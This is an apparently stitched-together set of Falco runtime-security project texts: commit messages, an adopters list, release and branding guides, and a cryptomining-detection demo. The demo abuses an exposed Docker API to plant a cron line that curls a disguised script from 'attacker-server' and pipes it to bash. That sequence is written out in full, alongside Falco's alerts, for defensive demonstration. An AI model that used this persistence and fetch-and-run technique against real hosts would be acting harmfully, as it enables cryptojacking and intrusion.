298ba29c88 rule(Change thread namespace): whitelist protokube, dockerd, tini and aws
These application binaries raise events in the `Change thread namespace`
rule as part of their normal operation.

Here are more details regarding each binary :

- `protokube` : See [this](https://github.com/kubernetes/kops/tree/master/protokube)
- `dockerd` : The `dockerd` process name is whitelisted already in this
  rule, but not if it is the parent, which will happen if you are doing
  docker-in-docker.
- `tini` : See [this](https://github.com/krallin/tini)
- `aws` : This one I noticed because Falco itself uses the AWS CLI to
  send events to SNS, which was triggering this rule.

0272b94bb1 rule(macro exe_running_docker_save): add new cmdline
While using Falco, I noticed we were getting many events that were
virtually identical to those that were previously filtered out by the
`exexe_running_docker_save` macro, but where the `cmdline` was something
like `exe /var/run/docker/netns/cc5c7b9bb110 all false`. I believe this
is caused by the use of docker-in-docker.

a5ce61f03f rule(macro bin_dir_rename): correct condition to catch all variants
Since `evt.arg[1]` does not work for all syscalls, switch to:
 - `evt.arg.path` for `rmdir` and `unlink` (used by `remove` macro)
 - `evt.arg.name` for `unlinkat` (used by `remove` macro)
 - `evt.arg.oldpath/newpath` for `rename` and `renameat` (used by `rename` macro)

That ensures `Modify binary dirs` works properly.

Note that we cannot yet use `renameat2` (not supported by sinsp, see https://github.com/draios/sysdig/issues/1603 )

81e29c55ec rule(macro user_known_set_setuid_or_setgid_bit_conditions): create macro
This macro will be useful because it will make it possible to filter out
events with a higher degree of granularity than is currently possible
for the `Set Setuid or Setgid bit` rule.

For example, if some application is expected to set the setuid or the
setgid bit under a specific condition, like if it's started with a
specific command, then the `user_known_chmod_applications` list is not
enough because we don't want to filter out _all_ events by this
application, only specific ones. This macro allows that.

 - enabling/disabling rules based on exact matches

There are variants that test for default and non-default rulesets.

7fd350d49a Allow exact matches for rule names
Currently, when calling enable_rule, the provided rule name pattern is a
substring match, that is if the rules file has a rule "My fantastic
rule", and you call engine->enable_rule("fantastic", true), the rule
will be enabled.

This can cause problems if one rule name is a complete subset of another
rule name e.g. rules "My rule" and "My rule is great", and calling
engine->enable_rule("My rule", true).

To allow for this case, add an alternate method enable_rule_exact() in
both default ruleset and ruleset variants. In this case, the rule name
must be an exact match.

In the underlying ruleset code, add a "match_exact" option to
falco_ruleset::enable() that denotes whether the substring is an exact
or substring match.

This doesn't change the default behavior of falco in any way, as the
existing calls still use enable_rule().

357da40fc4 Only use metadata in k8s audit event for secrets
Instead of using the request object to identify service account tokens,
exclude any secrets activity by system users (e.g. users starting with
"system:"). This allows the rules to work on k8s audit events at
Metadata level instead of RequestResponse level.

Also change the example objects for automated tests to ones collected at
Metadata level.

6488ea8456 (WIP) K8s Deployment to run event generator w k8s_audit
Add a deployment yaml that allows running the event generator in a k8s
cluster:

 - Change the event generator to create/delete objects in a namespace
   "falco-eg-sandbox" instead of "falco-event-generator". That way you
   separate the generator from the resources it modifies (mostly, the
   exception being the rolebinding).
 - Create a serviceaccount, clusterrole, and rolebinding that allows the
   event generator to create/list/delete objects in the falco-eg-sandbox
   namespace. The list of permissions is fairly broad mostly so the
   event generator can delete all resources without explicitly naming
   them. The binding does limit permissions to the falco-eg-sandbox
   namespace, though.

A one-line way to run this would be:

kubectl create namespace falco-event-generator && \
  kubectl create namespace falco-eg-sandbox && \
  kubectl apply -f event-generator-role-rolebinding-serviceaccount.yaml && \
  kubectl apply -f event-generator-k8saudit-deployment.yaml

I haven't actually pushed a new docker image to replace the current
event generator yet--the deployment yaml refers to a placeholder
falcosecurity/falco-event-generator:eg-sandbox image. Once the review is
done I'll rebase this to change the image to latest before merging.

* strcat()
* strncat()
* strncpy()
* swprintf()
* vswprintf()

This also changes `userspace/falco/logger.cpp` to remove a `sprintf`
statement. The statement did not affect the codebase in any form so
it was simply removed rather than being substituted.

c3f7d15e26 Add k8s audit support to falco event generator
Currently, the falco event generator only generates system call
activity. This adds support for k8s_audit events by adding a script +
supporting k8s object files that generate activity that matches the k8s
audit event ruleset.

The main script is k8s_event_generator.sh, which loops over the files in
the yaml subdirectory, running kubectl apply -f for each.

In the interests of keeping things self-contained, all objects are
created in a `falco-event-generator` namespace. This means that some
activity related with cluster roles/cluster role bindings is not
performed.

Each k8s object has annotations that note:

1. The specific falco rules that should trigger.
2. A user-friendly message to print when apply-ing the file.

You can provide a specific rule name to the script. If provided, only
those objects related to that rule will trigger. The default is "all",
meaning that all objects are created.

The script loops forever, deleting the falco-event-generator namespace
after each iteration.

Additionally, the docker image has been updated to also copy the script
+ supporting files, as well as fetching the latest available `kubectl`
binary. The entrypoint is now a script that allows choosing between:
 - syscall activity: run with .... "syscall"
 - k8s_audit activity: run with .... "k8s_audit"
 - spawn a shell: run with .... "bash"

The default is "syscall" to preserve existing behavior.

In most cases, you'll need to provide kube config
files/directories that allow access to your cluster. A
command like the following will work:

```
docker run -v $HOME/.kube:/root/.kube -it falcosecurity/falco-event-generator
k8s_audit
```

4c576f31f2 Also allow json arrays of k8s audit evts
Currently, the json object POSTed to the /k8s_audit endpoint is assumed
to be an obect, with a "type" of either "Event" or "EventList". When the
K8s API Server POSTs events, it aggregates them into an EventList,
ensuring that there is always a single object.

However, we're going to add some intermediate tools that tail log files
and send them to the endpoint, and the easiest way to send a batch of
events is to pass them as a json array instead of a single object.

To properly handle this, modify parse_k8s_audit_event_json to also
handle a json array. For arrays, it iterates over the objects, calling
parse_k8s_audit_json recursively. This only iterates an initial top
level array to avoid excessive recursion/attacks involving degenerate
json objects with excessively nested arrays.

These files can be analyzed by many tools such as lcov,
gcovr, etc.

Here is an example of one such tool, lcov:

 lcov --directory . --capture --output-file coverage.info
 lcov --extract coverage.info '/source/*' --output-file coverage.info

ccb3cc13b4 Make engine v5 backward compatible w/ v4 rules
As a part of the changes in
https://github.com/falcosecurity/falco/pull/826/, we added several
breaking changes to rules files like renaming/removing some filter
fields. This isn't ideal for customers who are using their own rules
files.

We shouldn't break older rules files in this way, so add some minimal
backwards compatibility which adds back the fields that were
removed *and* actually used in k8s_audit_rules.yaml. They have the same
functionality as before. One exception is
ka.req.binding.subject.has_name, which was only used in a single output
field for debugging and shouldn't have been in the rules file in the
first place. This always returns the string "N/A".

xenial is supposed to be the default linux build environment, using

specify a distribution.

Explicitly use xenial via dist: xenial.

Also remove the sudo option, which historically made sure you were
running on a vm and not in a container. Container-based builds are

154dd18c8f JSON/K8s Audit Evts extract multiple typed values
Refactor how JSON event/k8s audit events extract values in two important
ways:

1. An event can now extract multiple values.
2. The extracted value is a class json_event_value instead of a simple
string.

The driver for 1. was that some filtercheck fields like
"ka.req.container.privileged" actually should extract multiple values,
as a pod can have multiple containers and it doesn't make sense to
summarize that down to a single value.

The driver for 2. is that by having an object represent a single
extracted value, you can also hold things like numbers e.g. ports, uids,
gids, etc. and ranges e.g. [0:3]. With an object, you can override
operators ==, <, etc. to do comparisons between the numbers and ranges,
or even set membership tests between extracted numbers and sets of
ranges.

This is really handy for a lot of new fields implemented as a part of
PSP support, where you end up having to check for overlaps between the
paths, images, ports, uids, etc in a K8s Audit Event and the acceptable
values, ranges, path prefixes enumerated in a PSP.

Implementing these changes also involve an overhaul of how aliases are
implemented. Instead of having an optional "formatting" function, where
arguments to the formatting function were expressed as text within the
index, define optional extraction and indexing functions. If an
extraction function is defined, it's responsible for taking the full
json object and calling add_extracted_value() to add values. There's a
default extraction function that uses a list of json_pointers with
automatic iteration over array values returned by a json pointer.

There's still a notion of filter fields supporting indexes--that's
simply handled within the default extraction or custom extraction
function. And for most fields, there won't be a need to write a custom
extraction function simply to implement indexing.

Within a json_event_filter_check object, instead of having a single
extracted value as a string, hold a vector of extracted json_event_value
objects (vector because order matters) and a set of json_event_value
objects (for set comparisons) as m_evalues. Values on the right hand
side of the expression are held as a set m_values.

json_event_filter_check::compare now supports IN/INTERSECTS as set
comparisons. It also supports PMATCH using path_prefix_search objects,
which simplifies checks like ka.req.pod.volumes.hostpath--now they can
be expressed as "ka.req.pod.volumes.hostpath intersects (/proc,
/var/run/docker.sock, /, /etc, /root)" instead of
"ka.req.volume.hostpath[/proc]=true or
ka.req.volume.hostpath[/root]=true or ...".

Define ~10 new filtercheck fields that extract pod properties like
hostIpc, readOnlyRootFilesystem, etc. that are relevant for PSP validation.

As a part of these changes, also clarify the names of filter fields
related to pods to always have a .pod in the name. Furthermore, fields
dealing with containers in a pod always have a .pod.containers prefix in
the name.

Finally, change the comparisons for existing k8s audit rules to use
"intersects" and/or "in" when appropriate instead of a single equality
comparison.

2bc4bfd7fb Specify namespace compat w/ gcc 5
I wasn't able to compile the dev branch with gcc 5.4 (e.g. not using the
builder), getting this error:

```
.../falco/userspace/falco/grpc_server.cpp:40:109: error: specialization of ‘template<class Request, class Response> void falco::grpc::request_stream_context<Request, Response>::start(falco::grpc::server*)’ in different namespace [-fpermissive]
 void falco::grpc::request_stream_context<falco::output::request, falco::output::response>::start(server* srv)
                                                                                                             ^
In file included from .../falco/userspace/falco/grpc_server.cpp:26:0:
.../falco/userspace/falco/grpc_server.h:102:7: error:   from definition of ‘template<class Request, class Response> void falco::grpc::request_stream_context<Request, Response>::start(falco::grpc::server*)’ [-fpermissive]
  void start(server* srv);
```

It looks like gcc 5.4 doesn't handle a declaration with namespace blocks
but a definition with namespaces in the
function. https://gcc.gnu.org/bugzilla/show_bug.cgi?id=56480 has more
detail.

A workaround is to add `namespace falco {` and `namespace grpc {` around
the declarations.

6e11e75c15 Pass the build dir along when running tests
As of 0e1c436d14, the build directory is
an argument to run_regression_tests.sh. However, the build directory in
falco_tests.yaml is currently hard-coded to /build, with the build
variant influencing the subdirectory.

Clean this up so the entire build directory passed to
run_regression_tests.sh is passed to avocado and used for the build
directory.

# Adopters
This is a list of production adopters of Falco (in alphabetical order):
* [Booz Allen Hamilton](https://www.boozallen.com/) - BAH leverages Falco as part of their Kubernetes environment to verify that work loads behave as they did in their CD DevSecOps pipelines. BAH offers a solution to internal developers to easily build DevSecOps pipelines for projects. This makes it easy for developers to incorporate Security principles early on in the development cycle. In production, Falco is used to verify that the code the developer ships does not violate any of the production security requirements. BAH [are speaking at Kubecon NA 2019](https://kccncna19.sched.com/event/UaWr/building-reusable-devsecops-pipelines-on-a-secure-kubernetes-platform-steven-terrana-booz-allen-hamilton-michael-ducy-sysdig) on their use of Falco.
* [Coveo](https://www.coveo.com/) - Coveo stitches together content and data, learning from every interaction, to tailor every experience using AI to drive growth, satisfy customers and develop employee proficiency. All Falco events are centralized in our SIEM for analysis. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions with containers and orchestration systems. Falco is giving us a good visibility inside containers and complement other Host and Network Intrusion Detection Systems. In a near future, we expect to deploy serverless functions to take action when Falco identifies patterns worth taking action for.
* [Frame.io](https://frame.io/) - Frame.io is a cloud-based (SaaS) video review and collaboration platform that enables users to securely upload source media, work-in-progress edits, dailies, and more into private workspaces where they can invite their team and clients to collaborate on projects. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions like Docker and Kubernetes. To get this needed visibility into our system, we rely on Falco. Falco's ability to collect raw system calls such as open, connect, exec, along with their arguments offer key insights on what is happening on the production system and became the foundation of our intrusion detection and alerting system.
* [GitLab](https://about.gitlab.com/direction/defend/container_host_security/) - GitLab is a complete DevOps platform, delivered as a single application, fundamentally changing the way Development, Security, and Ops teams collaborate. GitLab Ultimate provides the single tool teams need to find, triage, and fix vulnerabilities in applications, services, and cloud-native environments enabling them to manage their risk. This provides them with repeatable, defensible processes that automate security and compliance policies. GitLab includes a tight integration with Falco, allowing users to defend their containerized applications from attacks while running in production.
* [League](https://league.com/ca/) - League provides health benefits management services to help employees understand and get the most from their benefits, and employers to provide effective, efficient plans. Falco is used to monitor our deployed services on Kubernetes, protecting against malicious access to containerswhich could lead to leaks of PHI or other sensitive data. The Falco alerts are logged in Stackdriver for grouping and further analysis. In the future, we're hoping for integrations with Prometheus and AlertManager as well.
* [Logz.io](https://logz.io/) - Logz.io is a cloud observability platform for modern engineering teams. The Logz.io platform consists of three products — Log Management, Infrastructure Monitoring, and Cloud SIEM — that work together to unify the jobs of monitoring, troubleshooting, and security. We empower engineers to deliver better software by offering the world's most popular open source observability tools — the ELK Stack, Grafana, and Jaeger — in a single, easy to use, and powerful platform purpose-built for monitoring distributed cloud environments. Cloud SIEM supports data from multiple sources, including Falco's alerts, and offers useful rules and dashboards content to visualize and manage incidents across your systems in a unified UI.
* https://logz.io/blog/k8s-security-with-falco-and-cloud-siem/
* [Preferral](https://www.preferral.com) - Preferral is a HIPAA-compliant platform for Referral Management and Online Referral Forms. Preferral streamlines the referral process for patients, specialists and their referral partners. By automating the referral process, referring practices spend less time on the phone, manual efforts are eliminated, and patients get the right care from the right specialist. Preferral leverages Falco to provide a Host Intrusion Detection System to meet their HIPPA compliance requirements.
* https://hipaa.preferral.com/01-preferral_hipaa_compliance/
* [Shopify](https://www.shopify.com) - Shopify is the leading multi-channel commerce platform. Merchants use Shopify to design, set up, and manage their stores across multiple sales channels, including mobile, web, social media, marketplaces, brick-and-mortar locations, and pop-up shops. The platform also provides merchants with a powerful back-office and a single view of their business, from payments to shipping. The Shopify platform was engineered for reliability and scale, making enterprise-level technology available to businesses of all sizes. Shopify uses Falco to complement its Host and Network Intrusion Detection Systems.
* [Sight Machine](https://www.sightmachine.com) - Sight Machine is the category leader for manufacturing analytics and used by Global 500 companies to make better, faster decisions about their operations. Sight Machine uses Falco to help enforce SOC2 compliance as well as a tool for real time security monitoring and alerting in Kubernetes.
* [Skyscanner](https://www.skyscanner.net) - Skyscanner is the world's travel search engine for flights, hotels and car rentals. Most of our infrastructure is based on Kubernetes, and our Security team is using Falco to monitor anomalies at runtime, integrating Falco's findings with our internal ChatOps tooling to provide insight on the behavior of our machines in production. We also postprocess and store Falco's results to generate dashboards for auditing purposes.
* [Sumo Logic](https://www.sumologic.com/) - Sumo Logic provides a SaaS based log aggregation service that provides dashboards and applications to easily identify and analyze problems in your application and infrastructure. Sumo Logic provides native integrations for many CNCF projects, such as Falco, that allows end users to easily collect Falco events and analyze Falco events on DecSecOps focused dashboards.
* [Sysdig](https://www.sysdig.com/) Sysdig originally created Falco in 2016 to detect unexpected or suspicious activity using a rules engine on top of the data that comes from the sysdig kernel system call probe. Sysdig provides tooling to help with vulnerability management, compliance, detection, incident response and forensics in Cloud-native environments. Sysdig Secure has extended falco to include: a rule library, the ability to update macros, lists & rules via the user interface and API, automated tuning of rules, and rule creation based on profiling known system behavior. On top of the basic Falco rules, Sysdig Secure implements the concept of a "Security policy" that can comprise several rules which are evaluated for a user-define infrastructure scope like Kubernetes namespaces, OpenShift clusters, deployment workload, cloud regions etc.

### Commit convention
As commit convention, we adopt [Conventional Commits v1.0.0](https://www.conventionalcommits.org/en/v1.0.0/), we have an history
of commits that do not adopt the convention but any new commit must follow it to be eligible for merge.
#### Rule type
Besides the classic types, we adopt a type for rules, `rule(<scope>):`.
Example:
```
rule(Write below monitored dir): make sure monitored dirs are monitored.
```
Each rule change must be on its own commit, if a change to a macro is done while changing a rule they can go together but only one rule per commit must happen.
If you are changing only a macro, the commit will look like this:
```
rule(macro user_known_write_monitored_dir_conditions): make sure conditions are great
```
## Coding Guidelines
### C++
* File `userspace/engine/banned.h` defines some functions as invalid tokens. These functions are not allowed to be used in the codebase. Whenever creating a new cpp file, include the `"banned.h"` headers. This ensures that the banned functions are not compiled.
A complete list of banned functions can be found [here](./userspace/engine/banned.h).
## Developer Certificate Of Origin
The [Developer Certificate of Origin (DCO)](https://developercertificate.org/) is a lightweight way for contributors to certify that they wrote or otherwise have the right to submit the code they are contributing to the project.

Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by [sysdigs](https://github.com/draios/sysdig) system call capture infrastructure, Falco lets you continuously monitor and detect container, application, host, and network activity—all in one place—from one source of data, with one set of rules.
Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Falco audits a system at the most fundamental level, the kernel.

Falco lets you continuously monitor and detect container, application, host, and network activity—all in one place—from one source of data, with one set of rules.
Falco is hosted by the Cloud Native Computing Foundation (CNCF) as a sandbox level project.

# Falco Release Process
Our release process is mostly automated, but we still need some manual steps to initiate and complete it.
Changes and new features are grouped in [milestones](https://github.com/falcosecurity/falco/milestones), the milestone with the next version represents what is going to be released.
Releases happen on a monthly cadence, towards the 16th of the on-going month, and we need to assign owners for each (usually we pair a new person with an experienced one). Assignees and the due date are proposed during the [weekly community call](https://github.com/falcosecurity/community). Note that hotfix releases can happen as soon as it is needed.
Finally, on the proposed due date the assignees for the upcoming release proceed with the processes described below.
## Pre-Release Checklist
### 1. Release notes
- Let `YYYY-MM-DD` the day before of the [latest release](https://github.com/falcosecurity/falco/releases)
- Check the release note block of every PR matching the `is:pr is:merged closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+closed%3A%3EYYYY-MM-DD)
- Ensure the release note block follows the [commit convention](https://github.com/falcosecurity/falco/blob/master/CONTRIBUTING.md#commit-convention), otherwise fix its content
- If the PR has no milestone, assign it to the milestone currently undergoing release
- Check issues without a milestone (using [is:pr is:merged no:milestone closed:>YYYT-MM-DD](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYT-MM-DD) filter) and add them to the milestone currently undergoing release
- Double-check that there are no more merged PRs without the target milestone assigned with the `is:pr is:merged no:milestone closed:>YYYT-MM-DD` [filters](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYT-MM-DD), if any, fix them
### 2. Milestones
- Move the [tasks not completed](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Aopen) to a new minor milestone
### 3. Release PR
- Double-check if any hard-coded version number is present in the code, it should be not present anywhere:
- If any, manually correct it then open an issue to automate version number bumping later
- Versions table in the `README.md` update itself automatically
- Generate the change log https://github.com/leodido/rn2md, or https://fs.fntlnz.wtf/falco/milestones-changelog.txt for the lazy people (it updates every 5 minutes)
- Add the lastest changes on top the previous `CHANGELOG.md`
- Submit a PR with the above modifications
- Await PR approval
- Close the completed milestone as soon PR is merged
## Release
Let `x.y.z` the new version.
### 1. Create a tag
- Once the release PR has got merged, and the CI has done its job on the master, git tag the new release
```
git pull
git checkout master
git tag x.y.z
git push origin x.y.z
```
> **N.B.**: do NOT use an annotated tag
- Wait for the CI to complete
### 2. Update the GitHub release
- [Draft a new release](https://github.com/falcosecurity/falco/releases/new)
- Use `x.y.z` both as tag version and release title
- Use the following template to fill the release description:
```
<!-- Copy the relevant part of the changelog here -->
### Statistics
| Merged PRs | Number |
|-------------------|---------|
| Not user-facing | x |
| Release note | x |
| Total | x |
<!-- Calculate stats and fill the above table -->
```
- Finally, publish the release!
## Post-Release tasks
Announce the new release to the world!
- Send an announcement to cncf-falco-dev@lists.cncf.io (plain text, please)
- Let folks in the slack #falco channel know about a new release came out

# Falco Branding Guidelines
This document describes The Falco Project's branding guidelines, language, and message.
Content in this document can be used to publically share about Falco.
### Logo
There are 3 logos available for use in this directory. Use the primary logo unless required otherwise due to background issues, or printing.
The Falco logo is Apache 2 licensed and free to use in media and publication for the CNCF Falco project.
### Slogan
> Cloud Native Runtime Security
### What is Falco?
Falco is a runtime security project originally created by Sysdig, Inc.
Falco was contributed to the CNCF in October 2018.
The CNCF now owns The Falco Project.
### What is Runtime Security?
Runtime security refers to an approach to preventing unwanted activity on a computer system.
With runtime security, an operator deploys **both** prevention tooling (access control, policy enforcement, etc) along side detection tooling (systems observability, anomaly detection, etc).
Runtime security is the practice of using detection tooling to detect unwanted behavior, such that it can then be prevented using prevention techniques.
Runtime security is a holistic approach to defense, and useful in scenarios where prevention tooling either was unaware of an exploit or attack vector, or when defective applications are ran in even the most secure environment.
### What does Falco do?
Falco consumes signals from the Linux kernel, and container management tools such as Docker and Kubernetes.
Falco parses the signals and asserts them against security rules.
If a rule has been violated, Falco triggers an alert.
### How does Falco work?
Falco traces kernel events and reports information about the system calls being executed at runtime.
Falco leverages the extended berkley packet filter (eBPF) which is a kernel feature implemented for dynamic crash-resilient and secure code execution in the kernel.
Falco enriches these kernel events with information about containers running on the system.
Falco also can consume signals from other input streams such as the containerd socket, the Kubernetes API server and the Kubernetes audit log.
At runtime, Falco will reason about these events and assert them against configured security rules.
Based on the severity of a violation an alert is triggered.
These alerts are configurable and extensible, for instance sending a notification or [plumbing through to other projects like Prometheus](https://github.com/falcosecurity/falco-exporter).
### Benefits of using Falco
- **Strengthen Security** Create security rules driven by a context-rich and flexible engine to define unexpected application behavior.
- **Reduce Risk** Immediately respond to policy violation alerts by plugging Falco into your current security response workflows and processes.
- **Leverage up-to-date Rules** Alert using community-sourced detections of malicious activity and CVE exploits.
### Falco and securing Kubernetes
Securing Kubernetes requires putting controls in place to detect unexpected behavior that could be malicious or harmful to a cluster or application(s).
Examples of malicious behavior include:
- Exploits of unpatched and new vulnerabilities in applications or Kubernetes itself.
- Insecure configurations in applications or Kubernetes itself.
- Leaked or weak credentials or secret material.
- Insider threats from adjacent applications running at the same layer.
Falco is capable of [consuming the Kubernetes audit logs](https://kubernetes.io/docs/tasks/debug-application-cluster/falco/#use-falco-to-collect-audit-events).
By adding Kubernetes application context, and Kubernetes audit logs teams can understand who did what.
### Writing about Falco
##### Yes
Notice the capitalization of the following terms.
- The Falco Project
- Falco
##### No
- falco
- the falco project
- the Falco project
### Encouraged Phrasing
Below are phrases that the project has reviewed, and found to be effective ways of messaging Falco's value add.
Even when processes are in place for vulnerability scanning and implementing pod security and network policies, not every risk will be addressed. You still need mechanisms to confirm these security barriers are effective, help configure them, and provide with a last line of defense when they fail.
##### Falco as a factory
This term refers to the concept that Falco is a stateless processing engine. A large amount of data comes into the engine, but meticulously crafted security alerts come out.
##### The engine that powers...
Falco ultimately is a security engine. It reasons about signals coming from a system at runtime, and can alert if an anomaly is detected.
##### Anomaly detection
This refers to an event that occurs with something unsual, concerning, or odd occurs.
We can associate anomalies with unwanted behavior, and alert in their presence.
##### Detection tooling
Falco does not prevent unwanted behavior.
Falco however alerts when unusual behavior occurs.
This is commonly referred to as **detection** or **forensics**.
---
# Glossary
#### Probe
Used to describe the `.o` object that would be dynamically loaded into the kernel as a secure and stable (e)BPF probe.
This is one option used to pass kernel events up to userspace for Falco to consume.
Sometimes this word is incorrectly used to refer to a `module`.
#### Module
Used to describe the `.ko` object that would be loaded into the kernel as a potentially risky kernel module.
This is one option used to pass kernel events up to userspace for Falco to consume.
Sometimes this word is incorrectly used to refer to a `probe`.
#### Driver
The global term for the software that sends events from the kernel. Such as the eBPF `probe` or the `kernel module`.
#### Falco
The name of the project, and also the name of [the main engine](https://github.com/falcosecurity/falco) that the rest of the project is built on.
#### Sysdig, Inc
The name of the company that originally created The Falco Project, and later donated to the CNCF.
#### sysdig
A [CLI tool](https://github.com/draios/sysdig) used to evaluate kernel system events at runtime.

| [falcosecurity/falco-builder:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-builder) | docker/builder | The complete build tool chain for compiling Falco from source. See [the documentation](https://falco.org/docs/source/) for more details on building from source. Used to build Falco (CI). |
| [falcosecurity/falco-tester:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-tester) | docker/tester | Container image for running the Falco test suite. Used to run Falco integration tests (CI). |
| _to not be published_ | docker/local | Built on-the-fly and used by falco-tester. |
> Note: `falco-builder`, `falco-tester` (and the `docker/local` image that it's built on the fly) are not integrated into the release process because they are development and CI tools that need to be manually pushed only when updated.

- a bind-mount on the source directory (ie., the directory containing Falco and sysdig source as siblings)
Optionally, you can also bind-mount the build directory.

# Demo of Falco Detecting Cryptomining Exploit
## Introduction
Based on a [blog post](https://sysdig.com/blog/detecting-cryptojacking/) we wrote, this example shows how an overly permissive container environment can be exploited to install cryptomining software and how use of the exploit can be detected using Sysdig Falco.
Although the exploit in the blog post involved modifying the cron configuration on the host filesystem, in this example we keep the host filesystem untouched. Instead, we have a container play the role of the "host", and set up everything using [docker-compose](https://docs.docker.com/compose/) and [docker-in-docker](https://hub.docker.com/_/docker/).
## Requirements
In order to run this example, you need Docker Engine >= 1.13.0 and docker-compose >= 1.10.0, as well as curl.
## Example architecture
The example consists of the following:
* `host-machine`: A docker-in-docker instance that plays the role of the host machine. It runs a cron daemon and an independent copy of the docker daemon that listens on port 2375. This port is exposed to the world, and this port is what the attacker will use to install new software on the host.
* `attacker-server`: A nginx instance that serves the malicious files and scripts using by the attacker.
* `falco`: A Falco instance to detect the suspicious activity. It connects to the docker daemon on `host-machine` to fetch container information.
All of the above are configured in the docker-compose file [demo.yml](./demo.yml).
A separate container is created to launch the attack:
* `docker123321-mysql` An [alpine](https://hub.docker.com/_/alpine/) container that mounts /etc from `host-machine` into /mnt/etc within the container. The json container description is in the file [docker123321-mysql-container.json](./docker123321-mysql-container.json).
## Example Walkthrough
### Start everything using docker-compose
To make sure you're starting from scratch, first run `docker-compose -f demo.yml down -v` to remove any existing containers, volumes, etc.
Then run `docker-compose -f demo.yml up --build` to create the `host-machine`, `attacker-server`, and `falco` containers.
You will see fairly verbose output from dockerd:
```
host-machine_1 | crond: crond (busybox 1.27.2) started, log level 6
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="starting containerd" module=containerd revision=9b55aab90508bd389d7654c4baf173a981477d55 version=v1.0.1
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.content.v1.content"..." module=containerd type=io.containerd.content.v1
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.snapshotter.v1.btrfs"..." module=containerd type=io.containerd.snapshotter.v1
```
When you see log output like the following, you know that falco is started and ready:
```
falco_1 | Wed Mar 14 22:37:12 2018: Falco initialized with configuration file /etc/falco/falco.yaml
falco_1 | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.yaml
falco_1 | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
```
### Launch malicious container
To launch the malicious container, we will connect to the docker instance running in `host-machine`, which has exposed port 2375 to the world. We create and start a container via direct use of the docker API (although you can do the same via `docker run -H http://localhost:2375 ...`.
The script `launch_malicious_container.sh` performs the necessary POSTs:
* `http://localhost:2375/images/create?fromImage=alpine&tag=latest`
* `http://localhost:2375/containers/create?&name=docker123321-mysql`
* `http://localhost:2375/containers/docker123321-mysql/start`
Run the script via `bash launch_malicious_container.sh`.
### Examine cron output as malicious software is installed & run
`docker123321-mysql` writes the following line to `/mnt/etc/crontabs/root`, which corresponds to `/etc/crontabs/root` on the host:
```
* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s
```
It also touches the file `/mnt/etc/crontabs/cron.update`, which corresponds to `/etc/crontabs/cron/update` on the host, to force cron to re-read its cron configuration. This ensures that every minute, cron will download the script (disguised as [logo3.jpg](attacker_files/logo3.jpg)) from `attacker-server` and run it.
You can see `docker123321-mysql` running by checking the container list for the docker instance running in `host-machine` via `docker -H localhost:2375 ps`. You should see output like the following:
```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
68ed578bd034 alpine:latest "/bin/sh -c 'echo '*…" About a minute ago Up About a minute docker123321-mysql
```
Once the cron job runs, you will see output like the following:
```
host-machine_1 | crond: USER root pid 187 cmd curl -s http://attacker-server:8220/logo3.jpg | bash -s
host-machine_1 | ***Checking for existing Miner program
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /logo3.jpg HTTP/1.1" 200 1963 "-" "curl/7.58.0" "-"

host-machine_1 | 238 root 0:00 {jaav} /bin/bash ./jaav -c config.json -t 3

host-machine_1 | runing.....
```
### Observe Falco detecting malicious activity
To observe Falco detecting the malicious activity, you can look for `falco_1` lines in the output. Falco will detect the container launch with the sensitive mount:
```
falco_1 | 22:37:24.478583438: Informational Container with sensitive mount started (user=root command=runc:[1:CHILD] init docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
falco_1 | 22:37:24.479565025: Informational Container with sensitive mount started (user=root command=sh -c echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && sleep 300 docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
```
### Cleanup
To tear down the environment, stop the script using ctrl-C and remove everything using `docker-compose -f demo.yml down -v`.

<!-- tocstop -->
## Instructions for Kubernetes 1.11
The main steps are:
1. Deploy Falco to your Kubernetes cluster
1. Define your audit policy and webhook configuration
1. Restart the API Server to enable Audit Logging
1. Observe Kubernetes audit events at falco
### Deploy Falco to your Kubernetes cluster
Follow the [Kubernetes Using Daemonset](../../integrations/k8s-using-daemonset/README.md) instructions to create a falco service account, service, configmap, and daemonset.
### Define your audit policy and webhook configuration
The files in this directory can be used to configure Kubernetes audit logging. The relevant files are:
* [audit-policy.yaml](./audit-policy.yaml): The Kubernetes audit log configuration we used to create the rules in [k8s_audit_rules.yaml](../../rules/k8s_audit_rules.yaml).
* [webhook-config.yaml.in](./webhook-config.yaml.in): A (templated) webhook configuration that sends audit events to an ip associated with the falco service, port 8765. It is templated in that the *actual* IP is defined in an environment variable `FALCO_SERVICE_CLUSTERIP`, which can be plugged in using a program like `envsubst`.
Run the following to fill in the template file with the `ClusterIP` IP address you created with the `falco-service` service above. Although services like `falco-service.default.svc.cluster.local` can not be resolved from the kube-apiserver container within the minikube vm (they're run as pods but not *really* a part of the cluster), the `ClusterIP`s associated with those services are routable.
```
FALCO_SERVICE_CLUSTERIP=$(kubectl get service falco-service -o=jsonpath={.spec.clusterIP}) envsubst < webhook-config.yaml.in > webhook-config.yaml
```
### Restart the API Server to enable Audit Logging
